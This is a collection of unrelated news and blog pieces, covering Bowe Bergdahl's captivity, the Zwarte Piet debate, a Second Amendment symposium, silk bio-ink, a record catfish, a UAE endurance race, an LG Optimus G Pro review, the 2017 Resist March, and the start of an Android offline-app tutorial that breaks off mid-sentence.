-Freed US soldier Bowe Bergdahl developed a love for Afghan green tea, taught his captors badminton, and even celebrated Christmas and Easter with the hardline Islamists, according to a Pakistani militant commander.  Bergdahl, the only US prisoner of war in Afghanistan, was released Saturday in exchange for the freeing of five senior Taliban figures held at Guantanamo Bay, in a dramatic deal brokered by Qatar.  The army sergeant's almost five years in captivity saw him transferred between various militant factions along the volatile Afghanistan-Pakistan border, finally ending up in Pakistan's North Waziristan tribal district, according to militant sources.  A commander of the Haqqani network, a militant outfit allied with the Taliban with ties to al-Qaeda, on Sunday painted a picture of a man who adjusted to his new life by engaging with his captors while clinging to aspects of his own identity.  "He was fond of kawa (Afghan green tea). He drank a lot of kawa all day, which he mostly prepared himself," the commander told AFP by phone from an undisclosed location in Pakistan's tribal areas.  Over time, Bergdahl, now 28, grew fluent in Pashto and Dari, he said.  Unlike the militants, who were mainly ethnic Pashtuns known for their voracious appetite for meat, Bergdahl "liked vegetables and asked for meat only once or twice a week", the commander said.  While the militants attempted to teach the soldier about Islam and provided him with religious books, he preferred more earthly pursuits.  "He would spend more time playing badminton or helping with cooking," the militant chief said.  "He loved badminton and always played badminton with his handlers. In fact, he taught many fighters about the game," he added.  And the Idaho native made a point of celebrating the Christian festivals he was accustomed to back home, even inviting his captors to participate.  "He never missed his religious festivals. He used to tell his handlers they were coming up weeks before Christmas and Easter and celebrated it with them," he said.  Imtiaz Gul, a security analyst, said the militants would have regarded Bergdahl as a high-value asset and harming him would have had a negative impact on their propaganda efforts.  "These groups usually treat hostages that way," he said.  The insights into Bergdahl's life are the clearest to emerge since he was captured in eastern Afghanistan in June 2009 and appeared in a Taliban video a month later.  "I was captured outside of the base camp. I was behind a patrol, lagging behind the patrol and I was captured," Bergdahl said in the video, later growing distraught when discussing his family.  According to the commander, Bergdahl then came under the custody of the late Mullah Sangeen Zadran, a key leader in the Haqqani network.  An Afghan Taliban source added that Bergdahl fell into the group's hands after initially being captured by a criminal outfit linked to the Taliban.  Militant sources disagree over the circumstances surrounding his capture, but several - then and now - described him as being "drunk".  The US military has never commented on the issue.  US Defense Secretary Chuck Hagel demurred Sunday when asked by reporters if Bergdahl had gone deserted his post, saying only that "other circumstances that may develop, and questions - those will be dealt with later".  "Sangeen kept him in Paktika, Paktia and parts of Khost before bringing him to the Pakistan-Afghanistan border," the Haqqani commander said, referring to districts located in eastern Afghanistan.  Zadran was killed by a US drone strike in September 2013, after which Bergdahl was sent on to the Pakistani tribal zone of North Waziristan, where the feared Haqqani network - known for their spectacular attacks on foreign forces - are headquartered.  Following his capture, Bergdahl went on to appear in several more videos, sometimes appearing gaunt and taking a hostile line against the US-led war effort.  Attention is now likely to focus on whether he was coerced into making those statements as well as unravelling the mysterious nature of his capture.
-DISCLAIMER: The author of this article really, really, for-realsies didn’t want to write another piece about this overlong debate, but the powers that be just wouldn’t allow for it. So here it is. For your amusement. I guess…  As you get older, some things don’t have the same meaning they once had. Surely I’m not the only adult who has watched childrens cartoons out of nostalgia, only to be flabbergasted by how many creepy sexual innuendos were hidden all along in movies that we loved when we were kids. Even though most of you have probably seen this image before, it helps to illustrate:  Kids see dolphins, adults see a couple making love. Every website on which I’ve seen this picture claims that “research has shown that young children cannot identify the intimate couple because they do not have prior memory associated with such a scenario”, even though none of them bother to source a published scientific study that actually confirms this. Still, you get the idea. Sometimes the same thing can mean different things at different times in your life. Which brings me to the subject everyone seems to love-hate recently: is that Zwarte Piet guy totally racist or not?  Rather than dying a quiet death like it has in the last few years, the debate has absolutely exploded this time, with even the United Nations releasing an official statement on the matter. Yesterday, an on-line petition on FaceBook in favor of keeping the Zwarte Piet tradition untouched received a staggering 1,000,000 likes in less than 24 hours (for comparison sake, that’s 25% of all Dutch people who use FaceBook on a regular basis, the on-line petition called “Zwarte Piet Is Racism” has been around for two years and has less than 10,000 likes as of now). This week, a Dutch woman decided to tattoo Zwarte Piet on her back. Has the world gone mad? (The answer is yes, the world has gone mad).  You might suspect from the previous paragraphs about the ambiguity of images that this article is going to promote an anything-goes-nothing-is-objectively-true view on things. Not so much. What I do want to discuss is the Dutch cognitive dissonance that exists on this issue. For those who are unfamiliar with the term: cognitive dissonance is when a person becomes aware that s/he believes in two or more valued convictions that contradict each other (source). Whereas I personally tend to support those who think that the tradition of Zwarte Piet is not racist or intolerant, I also suspect that there often is a double standard at work in defending Zwarte Piet. Moreover, in my opinion, the (non-)racism of Zwarte Piet is more complicated than a simple yes or no.  The punch-line to this article, in advance: Yes, Zwarte Piet is racist (as in: is a racial stereotype), but no, the present tradition is not racist. I know this may make little sense at first, so please bear with me as I try to explain.  Ad  There is a difference between the fact that Zwarte Piet has a history of being a racial stereotype and the fact that: 1) the tradition has changed over the decades into a far more tolerant and accepting version of Zwarte Piet, and 2) in the experience of children, any latent racism doesn’t register. During the Sinterklaas holiday or when it was over, the thought of walking up to a person of African descent and asking for pepernoten never entered my mind. I never thought of Zwarte Piet as a person of a distinct race, he was just the helper of Sinterklaas who wore a silly outfit. Putting a racial label on Zwarte Piet made as little sense to me as putting a racial label on Santa’s elves or reindeer. It was a non-factor. Moreover, Zwarte Piet was not, in my experience, in an inferior position. On the contrary: he was intriguing because he could always do acrobatics (like juggling or climbing on roof-tops). More importantly to my sugar-addicted child-brain: Zwarte Piet was the one who brought you pepernoten and strooigoed, the delicious candy that is only sold and consumed in the last few months of the year. Zwarte Piet could put smile on the face of every child just by entering the room.  I know it can be very annoying when people brush off a sensitive issue with “it’s just your interpretation”, but you can’t factor this out: the exact same visual image is interpreted in different ways. As much a white kid like me couldn’t see the harm in Zwarte Piet, a person of colour rightfully might. Perhaps s/he would feel as if others have gone out of their way to make a black person seem silly, and it is true that Zwarte Piet has often been used as a comic relief, making him do naive and childish things that would cause trouble for Sinterklaas or his fellow Zwarte Pieten. Especially in very old children books centered around the Sinterklaas holiday, Zwarte Piet often spoke in a stereotypical negro fashion, showing very poor vocabulary and often not fully understanding what was going on.  The cognitive dissonance exists in not acknowledging that, yes, Zwarte Piet is a racial stereotype, and yes, in the older tradition, he was often portrayed as a somewhat inferior character. Keep in mind however that when I spoke about my personal experience with Sinterklaas as a child, this took place around the late eighties, and things had changed significantly by then. Still, the resistance to the racist history surrounding Zwarte Piet persists. Sometimes this cognitive dissonance is very open and obvious, just look at an often heard response like “Zwarte Piet is not racist, and if you don’t like it, then you can **** off to your own country!” This becomes even more puzzling when similar things are said by a black person (does that make it less, or more racist? I don’t know).  Regardless of all the social unrest created by this issue, I sincerely doubt that this tradition will change in the near future. Even the aforementioned ‘official’ statement by the UN spokeswoman Verene Shepherd has been denounced by UNESCO due to her not being an official of any importance at the UN. Though there is a lot of debate now in The Netherlands, I don’t think that this tradition will change, nor that it has to. What I would like to see is a more nuanced debate, and sufficient respect to those who genuinely feel offended by the character that is Zwarte Piet.  On a final note, I’ll leave you all with a message of hope: if anything is to be changed and the centuries old tradition of Zwarte Piet must go, then I’ve already got the answer: the Dutch should simply replace Sinterklaas & Zwarte Piet with their brütal HEAVY METAL counterparts: Satanklaas & Corpse Paint Piet!
-A full-time professor on the faculty of the newly-minted Texas A&M University School of Law called for the repeal and replacement of the Second Amendment on Friday.  The professor, Mary Margaret “Meg” Penrose, made her controversial declaration during a day-long panel symposium on gun control and the Second Amendment at the University of Connecticut School of Law in Hartford.  UConn’s main student-run journal, The Connecticut Law Review, organized the event, according to Connecticut Public Radio. It was well-attended, primarily by law students, law professors and local attorneys.  Penrose was among the speakers, reports CTNewsJunkie, a Connecticut news site.  Penrose cited the Sandy Hook massacre, which occurred in Connecticut, as well as other mass shootings including the 2011 Tucson shooting that left six people dead and U.S. Rep. Gabrielle Giffords critically wounded.  Noting her own outrage that Americans continue to tolerate gun violence, Penrose asked audience members to raise their hands if they thought laws intended to prevent gun violence have been successful. No one raised a hand.  “I think I’m in agreement with you and, unfortunately, drastic times require drastic measures,” the professor said, according to CTNewsJunkie. “I think the Second Amendment is misunderstood and I think it’s time today, in our drastic measures, to repeal and replace that Second Amendment.”  Penrose then proposed a solution that would allow each state to determine its own gun policies.  “The beauty of a ‘states’ rights model’ solution is it allows those of you who want to live in a state with strong restrictions to do so and those who want to live in a state with very loose restrictions to do so,” the professor explained.  Penrose also noted that she tells students in her constitutional law courses that the entire United States Constitution is an obsolete document.  “Why do we keep such an allegiance to a constitution that was driven by 18th Century concerns?” she asked, according to CTNewsJunkie. “How many of you recognize that the main concern of the 18th Century was a standing army? That’s what motivated the Second Amendment: fear of a standing army.”  She described herself as “somewhat agnostic about guns” but “extremely passionate about” the Constitution she calls outdated.  Connecticut Gov. Dannel P. Malloy also spoke at the event, stressing his belief that the Second Amendment offers a limited right and bragging about the strict gun control laws he signed earlier this year.  “In the 1930s, machine guns were the weapon of choice for mobsters,” Malloy said, according to Connecticut Public Radio. “And we collectively decided that machine guns should be illegal for private possession in the United States. We don’t see machine guns being used in the U.S. in crimes. We did for some time after the ban was initially implemented but there’s a reality about what happens to those kinds of weapons once they become illegal.”  At least one symposium speaker wasn’t hell-bent on destroying the Second Amendment.  Josh Blackman, a professor at South Texas College of Law, observed that gun control laws have a sordid racially-motivated history.  “The first gun control laws were actually meant to subjugate slaves,” Blackman explained, according to CTNewsJunkie. “There has been a very close connection between gun control and racism.”  Penrose’s employer, Texas A&M University School of Law, is located in downtown Fort Worth. Texas A&M acquired the school just this year, reports the TAMUtimes.  Previously, the school had been Texas Wesleyan School of Law. The most recent US News ranking of the best law schools ranks Texas Wesleyan in the dreaded “rank not published” category of law schools. Third Tier Reality, a blog dedicated to hating bad law schools, has described the school as a “dung pit” and “a fourth tier pile of rat droppings.”  Follow Eric on Twitter and on Facebook, and send education-related story tips to erico@dailycaller.com.
-Tufts University scientists have developed a silk-based bio-ink that could allow for printing tissues that could be loaded with pharmaceuticals, cytokines (for directing stem cell functions), and antibiotics (for controlling infections), for example, or used in biomedical implants and tissue engineering.  Current 3-D printing processes are limited to simple body parts such as bone. And most inks currently being developed for 3-D printing are made of thermoplastics, silicones, collagen, gelatin, or alginate, which have limits. For example, the temperatures, pH changes and crosslinking methods that may be required to toughen some of these materials can damage cells or other biological components that researchers would want to add to the inks.  To address these bio-ink limitations, Tufts Stern Family Professor of Engineering David L. Kaplan and associates combined silk proteins, which are biocompatible, and glycerol, a non-toxic sugar alcohol commonly found in food and pharmaceutical products. The resulting ink was clear, flexible, stable in water, and didn’t require any processing methods, such as high temperatures, that would limit its versatility.  The researchers reported their research findings in the journal ACS Biomaterials Science & Engineering.  Abstract of Polyol-Silk Bioink Formulations as Two-Part Room-Temperature Curable Materials for 3D Printing  Silk-based bioinks were developed for 2D and 3D printing. By incorporating nontoxic polyols into silk solutions, two-part formulations with self-curing features at room temperature were generated. By varying the formulations the crystallinity of the silk polymer matrix could be controlled to support printing in 2D and 3D formats interfaced with CAD geometry and with good feature resolution. The self-curing phenomenon was tuned and exploited in order to demonstrate the formation of both structural and support materials. Biocompatible aqueous protein inks for printing that avoid the need for chemical or photo initiators and that form aqueous-stable structures with good resolution at ambient temperatures provide useful options for biofunctionalization and a broad range of applications.
-North Texas man's huge catch not an official record because he released it  Johnny D. Anderson caught a record blue catfish, weighing 63.5 pounds and measuring 4 feet and 5 inches, during a typical fishing day at a pier off Lake Pat Cleburne in Cleburne, about 30 miles south of Fort Worth. less Johnny D. Anderson caught a record blue catfish, weighing 63.5 pounds and measuring 4 feet and 5 inches, during a typical fishing day at a pier off Lake Pat Cleburne in Cleburne, about 30 miles south of Fort ... more Photo: Courtesy/Cleburne Times-Review Photo: Courtesy/Cleburne Times-Review Image 1 of / 23 Caption Close North Texas man's huge catch not an official record because he released it 1 / 23 Back to Gallery  A Cleburne man reeled in a blue catfish at a North Texas lake that more than doubled the size of the lake’s record.  Johnny D. Anderson caught the blue catfish, weighing 63.5 pounds and measuring 4 feet and 5 inches, while fishing at a pier off Lake Pat Cleburne, about 30 miles south of Fort Worth.  “I fought with that fish for a long time,” Anderson, a retired Air Force veteran, told the Cleburne Times-Review. “It pulled the line to the end of the reel all the way out about two times. It was a lot of fun.”  RELATED: Fisherman catches enormous 280-pound wels catfish in Italian river  He told the newspaper that he was fishing with a 20-pound test line and wrestled with the fish for about 45 minutes. He added that he called his wife to bring a camera for proof, and then he released it back into the lake.  “When they get over 10 or 12 pounds I release them,” Anderson told the newspaper. “I figure if they survive to get that big, in my opinion, they deserve to live.”  Friday’s catch disrupted an 18-year-old record for Lake Pat Cleburne that was made by Gary Barger, who caught a 30-pounder by a jug line. But, because Anderson released the fish before registering it, his catch will not go into the record books, a Texas Parks and Wildlife official told the newspaper.  Anderson said he did not want to register the catfish because he would’ve had to take it to an office across the lake.  “It would have taken me a long time to get to the other side of the lake,” Anderson said. “And I didn’t want the fish to be out of the water for that long.”  RELATED: 'Gargantuan' wild hog weighing nearly 800 pounds caught in Texas  The biggest blue catfish caught in Texas weighed 121.5 pounds and measured 58 inches, and was caught in Lake Texoma in Jan. 16, 2004. Research shows that the fish was 23 years old.  The world record for blue catfish was a 143-pounder caught in 2011 by Richard Anderson in Kerr Lake in Virginia, according to the International Game and Fish Association.  rsalinas@mysa.com
-The festival is part of preparations by the UAE team’s for the World Endurance Cup, which is scheduled for September in Slovakia.  ABU DHABI // Sheikh Mohammed bin Rashid, Vice President and Ruler of Dubai, attended on Sunday, along with Sheikh Hamdan bin Mohammed bin Rashid Al Maktoum, Crown Prince of Dubai, the first round of the Sheikh Mohammed bin Rashid Endurance Festival, held in Tuscany, Italy.  The round, dubbed the Tuscany Endurance Lifestyle, saw UAE riders dominate.  Sheikh Hamad bin Dalmouk Al Maktoum won the 160-kilometre race, riding Souletoile de Sommant, in 7 hours 14 minutes and 35 seconds. The Italian champion, Costanza Laliscia, riding Za’Amah, finished second, just a few strides behind.  Competing in the round were 150 riders from 14 countries, reported Wam, the state news agency.  The festival is part of preparations by the UAE team’s for the World Endurance Cup, which is scheduled for September in Slovakia.  newsdesk@thenational.ae
-If you were to ask us last year if LG was capable of making a Galaxy Note or Galaxy Note II competitor, we probably would have chuckled a little bit and answered with a stern, straight-faced, “No.” But LG is a living, breathing example of how much can change in just a few, short months.  The highest-end smartphones from LG between 2010 and mid-2012 were not exactly memorable. The T-Mobile G2X, for example, was released with a handful of issues and quickly swept under the carpet. The LG Optimus Vu found itself on our Worst Gadgets Ever list, even while it’s still available for purchase.  That should speak volumes.  But LG went back to the drawing board and came back in full force towards the end of 2012, releasing its latest flagship, the Optimus G, and it’s Google-branded smartphone, the Nexus 4. And though its presence at CES in January was focused more on the smart home – integrating mobile technology and home appliances – than any new mobile hardware, LG had a new flagship in tow at Mobile World Congress the following month.  The Optimus G Pro is LG’s third official entry in the so-called phablet market. But it’s the first entry that may actually pose a threat to the Galaxy Note II’s mind share. It’s 2013, the Note II is now an older device with last year’s specifications and a successor is still several months out.  So how does LG’s Note II competitor stack up? Should you buy the Optimus G Pro over, say, the Note II? Or should you wait for the Galaxy Note III? What about some other future phablet? We have used the Optimus G Pro, extensively, for 11 days now. Read on for the full review.  Video Review  Specs  Specifications are undoubtedly the most notable aspect of the Optimus G Pro. LG pulled no punches and made its latest flagship a complete package with as few compromises as possible.  It comes with everything you can shake a stick at out of the box – save for wireless charging. But that can be added through buying an add-on battery door with wireless charging built in.  It boasts the largest 1080p display in a smartphone to date, a 5.5-inch panel, offering a pixel density of 401ppi. And it’s the same display technology as seen in the Optimus G, a True Full HD IPS Plus panel, meaning it offers wide viewing angles, an extremely sharp picture and the colors are quite vivid – super-saturated, but not quite to the extent of a Super AMOLED display by Samsung. The contrast isn’t quite as high as you would find on AMOLED either; blacks are a dark gray, not a true, inky black, and the black trim around the edges of the display only accentuate this.  It’s no S-LCD3, but it’s still among the best displays available on a smartphone, especially at 5.5-inches.  Other specifications include a 1.7GHz quad-core Snapdragon 600 chip, 2GB RAM, 32GB built-in storage with a microSD card slot for up to 64GB additional storage, a 13-megapixel camera, 2.1-megapixel front-facing camera and a 3,140mAh removable battery. Other features include Wi-Fi b/g/n, NFC, Bluetooth 4.0 and an IR blaster.  The Optimus G Pro model we received was a Korean model, meaning it came with a few functions that we were not able to make use of. The antenna for Digital Multimedia Broadcasting (DMB), for example, is effectively useless unless you’re in Korea of the short list of countries that use DMB.  On paper, the Optimus G Pro is among the best smartphones available today. It rivals even the upcoming Galaxy S 4, HTC One and likely many phones that have yet to be announced. In other words, it’s pretty well future-proofed.  As far as specifications go, there is virtually nothing to complain about with the Optimus G Pro.  Index  Hardware  The story of hardware and design of the Optimus G Pro, unfortunately, isn’t quite so positive. It’s not that the build quality is bad, so to speak, or that the phone itself is ugly. It’s not. The phone is built fairly well. However, there is some audible creaking if you firmly grip the phone, and it’s made mostly of lightweight plastics, accented by faux-metal trim.  There is no questioning where LG’s inspiration for the Optimus G Pro came from.  And that’s the problem. It’s difficult to get terribly excited over flimsy plastic, even if it has a sparkly tile pattern on the back. Top to bottom, the Optimus G Pro looks and feels more like something Samsung-made than an LG device. In fact, the Optimus G Pro and Galaxy Note 8.0 look more alike than the Galaxy Note II and Note 8.0.  The face holds a single physical Home button, flanked by a capacitive button for Back and Menu on the left and right, respectively. On the upper portion of the right edge, like most Samsung devices, you will find the power button. The volume rocker sits down from the power button on the left edge. The microUSB port and microphone are on the bottom edge, 3.5mm headphone jack and noise-canceling mic are on top. The camera sits near the top-center of the back face with LED flash to the right and a speaker to the left. Similarities extend to even beneath the battery door with the layout of the SIM tray and microSD card slot.  One hardware advantage of the Optimus G Pro, though, is the Q Button, a physical button located on the upper left edge. This button is a user-defined shortcut button. It can be set to any application – Google+, for instance, or Google Now. If set to be a Camera shortcut, it doubles as a camera shutter button.  Display sensitivity was noticeably higher than normal, as well. When hovering our fingers over the display, either in hesitation or pausing to read something when scrolling, we constantly found ourselves accidentally clicking things on the display … without ever actually touching the display.  We did find the Optimus G Pro much easier to hold than some other larger smartphones (ahem … Galaxy Note II) due to the minimal bezel along the sides of the display. The Optimus G Pro is 76.1mm wide, 4.4mm narrower than the Galaxy Note II. This made the device sit more nicely in the palms of our hands. But make no mistake, this is still a very large device. One-handed use is extremely difficult, and we found ourselves needing a second hand to stabilize the device when stretching all the way across the display with our thumb.  The actual feel of the device in the hand is unmoving. Despite the high-end specifications inside and its large stature, the Optimus G Pro feels unsubstantial in almost every way. The plastic feels cheap and flimsy, and our own Michael Fisher put it perfectly on the Pocketnow Weekly podcast a few weeks back, saying the tiled pattern on the back of the device, unlike the pattern on the glass back of the Optimus G or Nexus 4, looks like “the bathroom floor tile in a budget motel.”  And that single statement pretty much sums up the hardware. No question about it, the Optimus G Pro is a high-end device. But the materials make this flagship feel like a high-end sports car in a Yaris body.  The one redeeming feature of the hardware and design is the physical home button. The click action is … poor. It’s hollow and feels like a toy mechanism. But it’s lined with multi-colored LEDs for a big, highly-customizable notification light. Even when the device is turned face-down, the notification light carries through the glass on the front of the device and lines the outer edges with a dim glow.  Easily, that notification light is the most notable part of the Optimus G Pro’s hardware.  Index  UI  At its core, the Optimus G Pro runs Android 4.1.2. But at the surface, LG was sure to leave no stock Android element unchanged. Meet Optimus UI.  The similarities between Samsung’s thoroughly-developed custom interface, TouchWiz, and LG’s customized UI are unmistakable. Looking throughout the software, nothing is an exact carbon copy. LG has made each of the features its own by slightly tweaking the interface and changing around some colors and shapes. But, once again, LG was shameless in openly showing the source of its inspiration.  From the home screen or lock screen to the notification shade, cues from TouchWiz can be found on the Optimus G Pro. The notification shade, for example, features quick setting toggles at the top with a brightness slider above the actual notifications. Below the toggles is a designated area for LG’s QSlide apps, miniature applications that float freely atop the current application.  The QSlide apps are easily the best part of LG’s software, but with Facebook’s Chat Heads, Samsung’s Popup Note, Popup Browser and Popup Video, they’re not truly unique or differentiating. Not to mention, the selection of free-floating apps is paltry, a total of seven applications: Videos, Internet, Calculator, Calendar, Memo, QVoice and TV. The standout feature here is how they can be made transparent and resized, so that the user can continue working on what’s beneath the maximum of two free-floating QSlide apps.  The unfortunate part of the software is how much bloatware comes pre-installed. On our Korean model of the LG Optimus G Pro, a total of 83 applications come pre-loaded. This number, of course, includes the necessary applications like Camera, Phone, Google Search or Calendar. But the majority of the 83 applications are LG’s own applications, such as SmartWorld, SmartTouch, SmartShare, LG Support, QTranslator or QVoice. Also, many of these applications are fixed in the Korean language, meaning they could not be changed to English, and were effectively useless to us. Only 19 of the pre-installed apps can be uninstalled.  The silver lining is that the global and U.S. models of the Optimus G Pro likely will not come with all this bloatware.  But that doesn’t make LG’s interface any less overbearing. There are tons of in-your-face animations and many things have been changed for the sake of being changed. The Settings app, for example, is tabbed with four sections: Networks, Sound, Display and General. This alone takes some getting used to, and having Sound and Display separated into their own categories doesn’t make a ton of sense. And the notification shade is a total mess.  One of the redeeming parts of the software, though, is the QRemote app. Using the IR blaster, the QRemote application essentially turns the Optimus G Pro into a universal remote for your home entertainment system. Setup was quick and painless (so long as you have a name brand television). QRemote can be accessed from the lock screen (by pressing the home button), from the notification shade (by enabling QRemote in the quick setting toggle) or by the app itself.  There’s something comforting about being able to reach for your phone – instead of remotes and controllers – to control your television or Xbox. And it’s unbelievably convenient.  For what it’s worth, almost every aspect of the interface can be tweaked. LG missed very little when it comes to the intricate details and customization. There are various themes for the home screen, you can edit what toggles are in the quick settings bar in the notification shade, you can even set your favorite function to a hardware key.  In the same respect, though, LG threw user-friendliness and simplicity to the wind. It’s packed to the brim with features, services and customization, which come at the expense of simplicity. The interface – especially the notification shade – is cluttered. If we had to sum up LG’s interface on the Optimus G Pro in a single word, it would most certainly be overwhelming.  Index  Camera  The Optimus G Pro has a 13-megapixel camera around back, and we can’t say we’re terribly impressed or disappointed. We’ve seen better 8-megapixel cameras and better 13-megapixel cameras in recent months. So it’s difficult to be blown away by the shooter on LG’s phablet.  That said, it’s not a bad camera. The software is actually pretty nice. It comes with a user-friendly interface and it’s packed to the brim with useful features. (Unfortunately, we couldn’t screen capture the Camera app, as LG removed that functionality.) It comes with several shooting modes: Intelligent Auto, HDR, Panorama, VR Panorama (think Photosphere), Burst shot and Beauty shot. It also has a time machine mode, which snaps several shots and lets you choose the best. There are also the typical settings for exposure control, white balance, focus mode, ISO, etc.  In perfect lighting, the camera was great. There was plenty of detail, color reproduction was nearly true to life and there was little to complain about. In anything but perfect lighting, the camera’s performance started to slip. Pictures lacked detail, showed noise and artifacts, appeared washed-out and lost their sharpness. Low-light performance was pretty dismal, as well, with massive amounts of noise and very little detail.  Most of the time, the camera was hit or miss. The auto-focus was quick to lock-on, but sometimes completely missed focus, resulting in blurry images. And rapidly pressing the shutter (as to not give the camera time to readjust exposure, focus, etc.), successive shots would turn out completely different – one warm, one cool, one over-exposed, one out of focus.  Video with the Optimus G Pro was quite good. Some same lack of proper detail from stills carried over, but the exposure adjustment was quick and panning was relatively smooth. Also, the audio was somewhat tinny, but not terrible. White balance fell on the warm side and colors were slightly over-saturated. In all, the video quality is certainly the best part of the Optimus G Pro’s camera.  The front-facing shooter is 2.1-megapixels. Colors are rich, though there is a noticeable lack of detail. Of course, you can’t expect amazing stills or video, but the camera will suffice for the occasional selfie or regular video chat.  Index  Performance  The Optimus G Pro certainly delivers in the performance category, thanks to the 1.7GHz quad-core Snapdragon 600 chip. Its scores in synthetic benchmarks were among the highest we’ve ever seen, only slightly falling short of the HTC One’s benchmark scores.  Despite all the clutter around the interface and tons of bloatware, the Optimus G Pro zips through everyday tasks without skipping a beat. This can be credited to both the powerful chipset and the fact that the device runs Android 4.1.2, Jelly Bean, with Project Butter.  We installed several graphic-intensive games, such as Asphalt 7, and raced our hearts out. The games played perfectly, without the tiniest bit of lag. And n.o amount of multitasking managed to slow the device down. And the only latency when switching between applications, returning to the home screen or opening an application is due to the heavily-laden animations throughout the operating system.  Index  Battery Life  Keeping the show running is a 3,140mAh battery. And for us, the battery life on the Optimus G Pro was great – among the best we’ve experienced in recent years. If we were to compare it to other devices in terms of stamina, the two devices with comparable battery life are the Galaxy Note II and DROID RAZR MAXX HD, both of which also feature batteries larger than 3,000mAh out of the box.  The Korean model we received came with a spare battery and a battery charger in the box. Rather than plug the phone up and charge it overnight, we ran the device until it powered down and switched batteries to immediately pick back up where we left off.  Not once did we need to plug up for a supplementary charge in mid- to late-afternoon to last an entire day. Through heavy text messaging and IMing, playing games, watching videos, social networking, taking dozens of pictures, emailing and other abuse, the device consistently lasted over 24 hours.  Its stamina in standby was great as well, hitting 51 percent after 22 hours and 24 minutes with only 48 minutes of screen-on time. Keep in mind, however, that this is an LTE device and our unit was limited to AT&T 3G. The stamina will likely be different when LTE is in use.  Index  Call Quality/Network Performance  Speaking of being limited to AT&T 3G, the data speeds were obviously not a high point of using the Korean model of the Optimus G Pro on the AT&T network. The fastest downlink we were able to manage in the Charlotte metro area was 3.92Mbps, and the fastest uplink was 1.07Mbps. All things considered, these speeds weren’t terrible. But now that faster technologies are available, it makes using a 3G device reminiscent of old times and can make an over-the-top device like the Optimus G Pro come off as lackluster.  It’s safe to say U.S. and global models will have wider support for HSPA+ and LTE, and speeds will most definitely be better.  The reception, even in problematic areas, was surprisingly strong. And call quality was quite good. The quality of the earpiece speaker is great, producing loud, clean audio for calls. In noisy environments, the earpiece speaker could stand to be a bit louder.  The loud speaker around back wasn’t much help either. It’s very tinny and not very loud, producing little to no bass. It’s sufficient for the occasional speakerphone call and media consumption. But it’s not exceptional in any way.  Index  Pros  + The display is gorgeous  + Above average battery life  + Camera quality is decent  + The multitasking experience is great  + Performance is exceptional  + QButton doubles as a camera shutter  Cons  – Build quality and materials are lackluster  – Comes with tons of bloatware  – The interface is cluttered  – Design is uninspired  Index  Pricing and Availability  Officially, the Optimus G Pro is only currently available in Korea through various network providers. It is expected to launch globally – including the U.S. market – in the not to distant future. (Rumors are pointing towards and early May release, but we’re not holding our breath).  Unfortunately, LG has been mostly mum on the issue, leaving us unsure when, where or for how much we can expect Optimus G Pro once it launches outside Korea.  Index  Conclusion  At the end of the day, the Optimus G Pro is a solid competitor in the ultra-large smartphone category. It, surprisingly, stacks up very well to Samsung’s iconic Galaxy Note series and offers a no-compromise experience in the phablet sector.  A lot can change in a few short months, however. By the time the other variants of the Optimus G Pro arrive, they could look slightly different or feature different specifications. The long antenna is rumored to be replaced by an integrated stylus. Hopefully, the majority of these changes will be limited to software, expunging all the bloatware and clutter of Optimus UI.  As it stands, the Optimus G Pro is a great device. And once it becomes more widely available, it would be difficult not to recommend this over the Galaxy Note II, if only for the quality of the display.  Is it a better phablet? Hardly. It’s evident that Samsung has put a lot of time and thought into what separates a phablet from nothing more than a large smartphone. It seems LG is still learning that while it’s changing all of Samsungs apps and services to its own Q-branded apps.  Index  Scored For Me
-The "Resist March" was inspired by the early pride demonstrations of the 1970s and the nationwide Women's Marches held in January, one day after the inauguration of President Donald Trump. Christine Kim reports for the NBC4 News at 4 on Sunday, June 11, 2017. (Published Sunday, June 11, 2017)  About 100,000 straight and gay people, minorities and not, stretched from Hollywood to West Hollywood on Sunday, as what used to be an annual, raucous Gay Pride march this year became #ResistMarch to protest politics.  Helicopter video showed a crowd filling sidewalks and six traffic lanes on streets which had been closed to traffic. Trucks were positioned from building to building at cross streets: barricades, apparently to block any would-be assailants in cars.  The event was expected to attract as many as 100,000 people. It began at Hollywood Boulevard at Highland Avenue, then moved to the heart of West Hollywood on Santa Monica Boulevard.  March founder Brian Pendleton said he was inspired by the early pride demonstrations of the 1970s and the nationwide Women's Marches held in January, one day after the inauguration of President Donald Trump.  Pride March Turned Into 'Resist' March  About 100,000 people stretched from Hollywood to West Hollywood, as what used to be an annual, raucous Gay Pride march this year became #ResistMarch to protest politics. Ted Chen reports for the NBC4 News at 4 on Sunday, June 11, 2017. (Published Sunday, June 11, 2017)  "The mission is to march in unity with those who believe that America's strength is its diversity," organizers said in a prepared statement. "Not just LGBTQ people but all Americans and dreamers will be wrapped in the Rainbow Flag with unique, diverse, intersectional voices gathering together.  "We are lesbian, gay, bisexual, transgender and queer. We are people of color. We are people of different faiths. We are people of all genders and no gender. We are immigrants. We are dreamers. We are people with disabilities. We are parents. We are allies."  As usual with West Hollywood street parties, Santa Monica and San Vicente boulevards and some side streets were closed in West Hollywood.
-Earlier this year I attended Android Developers Meetup in NYC. The speaker, Instagram Developer, covered their efforts of making the Android app work offline to make it a great experience even for people with low/no network connectivity.  Below I will briefly describe Instagram’s approach and then provide a working example offline app using MVVM, Google’s new Lifecycle Architecture Components, Android Priority Job Queue library, Room, RxJava2, Dagger Android 2.11, Retrofit, ButterKnife.  Why offline mode?  80% of Instagram’s users are outside the US. Many of those live in the developing countries with limited network connectivity or limited data plan. These users primarily use Android devices, and that is why the team at Instagram targeted Android platform first in their efforts to make offline functionality available.  Offline read support  Instagram’s offline users are now able to see their newsfeed by serving previously loaded cached data. The idea is simple: each read request is identified by a Request Task (cache key). Each feed response gets cached on device by Response Store. Subsequently, when the user is offline and requests data for the same Request Task, the request is replayed and response for that cache key is served back by the local Response Store. The UI does not care that the data served is a cached version. When user tries to explicitly refresh their feed, a message informs them that they are currently offline.  Offline write support  Instagram’s offline users can leave comments, like content, follow others, save media, etc. Each of those use cases implements a PendingActionStore and all of the use cases are managed by a Manager that informs them of connectivity changes and lifecycle events. Basically, the idea is each PendingActionStore knows how to manage data locally and sync remotely and goes to work whenever the Manager directs it to do so.  Rolling my own  Let’s look at a sample Offline-First app I created. It may not cover all aspects of an offline app but it does cover the gist of it: save locally first, sync remotely next and reflect the changes in the UI during the process. The app enables users to seamlessly post comments while offline. Feel free to skip reading and jump into the source code directly at http://github.com/jshvarts/OfflineSampleApp  Comments are stored locally and then synced remotely  Workflow  The overall workflow can be summarized using this diagram:  When a new comment is submitted, it gets stored in a local database first. The record is marked with syncPending =true. The comment text color in the UI is displayed in gray.  =true. The comment text color in the UI is displayed in gray. If Internet connection is available, a background job will sync this record with remote repo.  If no 